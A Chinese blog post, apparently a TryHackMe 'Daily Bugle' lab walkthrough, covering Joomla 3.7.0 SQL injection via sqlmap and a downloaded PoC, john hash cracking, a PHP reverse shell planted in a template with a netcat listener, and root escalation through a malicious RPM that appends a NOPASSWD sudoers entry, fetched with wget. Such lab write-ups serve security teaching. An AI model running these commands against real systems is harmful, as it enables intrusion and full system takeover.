大家好,我是你们好朋友小峰。预计从今天开始,陆陆续续为大家推出 CTF-Horizontall HackTheBox 系列文章。
tryhackme(https://tryhackme.com/)是另外一个非常有趣的靶场平台,大家有兴趣可以上官网查看,使用非常简单直接通过邮箱傻瓜式注册即可登录状态。(如图1.1所示)(如图1.2所示)
图1.1 tryhackme官网
图1.2 tryhackme红队攻击路径
登录后的内容,你可以选择学习或者练习或者是直接查找指定的渗透测试盒子(如图1.3所示)
图1.3 tryhackme学习路径
然后直接点击search框,查找我们要本次使用的渗透测试盒子,本次我们测试的平台为daily bugle(如图1.4所示)
图1.4 搜索daily bugle盒子
点击进入以后,直接加入并开启模式,我觉的这个靶场比较好的点是比较初中级适合学习,他把可疑的点全部列了出来,让攻击者可以根据问题开始渗透测试,所以对于初学者是个福音,不仅通过靶场学习了攻防技巧也通过问题一步一步升级成了大佬。(如图1.5所示)(如图1.6所示)
图1.5 daily bugle盒子渗透路径
图1.6 daily bugle盒子渗透路径
开始我们的靶场之旅(如图1.7所示)
图1.7 daily bugle开启靶场
开箱即用(如图1.8所示)
图1.8 daily bugle开启靶场
DailyBugle是一个Linux渗透测试环境盒子,在TryHackMe平台上被评为“中号”。该机器使用yum涵盖了Joomla 3.7.0 SQL注入漏洞和特权升级。
1.1 信息收集
ØNmap
1.2 目录列举
Ø使用robots.txt发现管理员目录
Ø使用joomscan枚举网站
Ø在当前安装中发现SQL注入漏洞
1.3 漏洞利用
Ø在com_fields中通过SQLi利用Joomla v 3.7.0
Ø使用john破解Joomla管理员散列
Ø修改模板以输入PHP反向shell代码
1.4 权限提升
Ø在配置文件中发现其他用户的凭据
Ø使用yum提升特权
靶场开启以后机器的专用IP地址是10.10.91.172。我们将在这台机器的IP上运行nmap扫描。(如图4.1所示)
nmap -sV -sC 10.10.91.172 -Pn
图4.1 nmap端口扫描
通过手动访问robots.txt文件,在文件内容目录中,我们发现了一个具有管理员目录的文件的存在。(如图5.1所示)
图5.1 robots文件显示
打开此目录后,我们发现Joomla的一个实例正在这个网站上运行。其实对于渗透测试攻击者来说是个好消息,因为joomla被爆出非常多的cve漏洞,所以查找历史漏洞对我们来讲非常重要,首先要知道这个运行的网站版本号是哪一个,才方便下一步渗透测试,接下来我们使用joomascan这个针对性工具操作。(如图5.2所示)
图5.2 joomla后台访问
我们在这个网站上运行了joomscan,发现正在运行3.7.0版本(如图5.3所示)
joomscan -u http://10.10.91.172
图5.3 joomlmscan扫描工具
我们立即使用searchsploit查找此已安装实例的公共漏洞,并发现3.7.0版本通过com_fields参数易受SQLi的影响。(如图5.4所示)
searchsploit joomla 3.7.0 searchsploit -m 42033
图5.4 joomla扫描出sql注入
正如漏洞编号42033告诉我们的漏洞详情,以下命令可以利用这个sql注入漏洞(如图6.1所示)
sqlmap -u "http://10.17.32.212/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dump-all -p list[fullordering]
图6.1 joomla的sql注入
然而,在运行此扫描时,时间太长了,因此,我们寻找了另一个名为“Joomblah.py”的脚本,这是Joomla v3.7.0中这个SQLi漏洞的POC。所以我们下载了这个脚本,运行并找到了凭据!(如图6.2所示)
wget https://raw.githubusercontent.com/XiphosResearch/exploits/master/Joomblah/joomblah.py
python2.7 joomblah.py http://10.10.91.172
图6.2 joomla的注入用户
我们发现了哈希,但为了知道它是类型,我们在谷歌上搜索了一下,发现它是bcrypt”(如图6.3所示)
图6.3 joomla的hashes破解
因此,我们把这个哈希保存在一个文件中,并使用john破解这个哈希(如图6.4所示)
cat hash john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash
图6.4 joomla的hash破解成功
我们看到已经破解出来后台登录密码。我们使用这个登录了管理面板,现在可以看到仪表板了!(如图6.5所示)
图6.5 joomla后台登录
与任何其他CMS一样,Joomla也有在PHP上运行的模板,因此,我们立即在模板文件中复制了php-reverse-shell.php代码,然后单击了模板预览。在启动模板预览之前,我们还设置了一个netcat监听器(如图6.6所示)
nc -nlvp 1234
图6.6 joomla模板反弹shell配置
在我们的监听器上,我们看到弹出了一个shell!
现在我们在受害者框上有一个有效的执行shell,我们开始寻找升级特权的方法。我们检查了sudoers文件,但没有找到任何东西。(如图7.1所示)
图7.1 后台用户登录
在快速系统检查并查看网站文件后,我们发现了一个具有数据库凭据的配置文件。根用户有密码:nv5uz9r3ZEDzVjNu(如图7.2所示)
cd /var/www/html cat configuration.php
图7.2 配置文件查看
现在,我们尝试使用此密码登录另一个现有用户jjameson,它起作用了!我们立即使用python的pty模块稳定bash。此后,我们查看了sudoers文件,并在条目中找到了yum。(如图7.3所示)
su jjameson python -c 'import pty;pty.spawn("/bin/bash")' sudo -l
图7.3 特权账号提升
参考gtfobins帖子,我们可以通过创建自定义RPM可执行文件来升级我们的特权。为此,我们需要先安装rpm、fpm。之后,我们将把命令复制到shell脚本中。这个回声命令只需将我的用户jjameson添加到sudoers文件中,以便任何命令都可以作为根运行。这将是我们的有效载荷。然后,我们使用fpm软件包创建一个rpm软件包。(如图7.4所示)
apt install rpm gem install fpm echo 'echo "jjameson ALL=(root) NOPASSWD:ALL" >> /etc/sudoers' > my.sh fpm -n root -s dir -t rpm -a all --before-install my.sh . python3 -m http.server 80
现在,剩下的就是将此文件复制到受害者框上的/tmp目录中。(如图7.5所示)
cd /tmp wget http://10.17.32.212/root-1.0-1.noarch.rpm
图7.5 rpm文件下载安装
因此,我们下载了它,并使用yum localinstall命令运行。它运行成功了!我们以sudo运行bash shell,不出意外,jjameson(我的用户)将其作为root运行,因此特权升级了!最后,我们读了祝贺旗!(如图7.6所示)
sudo yum localinstall -y root-1.0-1.noarch.rpm sudo bash CD/root cat root.txt
图7.6 root文件查看
因此,通过权限提升以后我们可以在这个盒子的查看root文件。这个渗透测试盒子作为一个初学者的渗透测试靶场,比较贴于现实生活中常见的漏洞。
https://tryhackme.com/room/dailybugle
本系列准备开启国内外安全靶场渗透测试系列也欢迎大家投稿包括但不限于VulnStack、Vulnhub、HTB、自行搭建系列靶场。通过靶场快速带领大家学习红队各系列知识。
红日安全长期、短期项目招聘:Hvv、重保、安服、培训等项目
文章投稿&项目招聘邮箱:[email protected]
同样感谢一直在安全圈中深耕着的每一位hacker,期待加入红日安全交流群:请添加群管理V信:Hvv2022an 有幸一起并肩前行,有幸一起见证着“红日”成长。在大家身上我已经收获得足够多了,是时候用实际行动向安全世界说声谢谢了。
作者:小峰
编辑:小jia
红日安全出品|转载请注明来源
海量安全课程
阅读原文 即可观看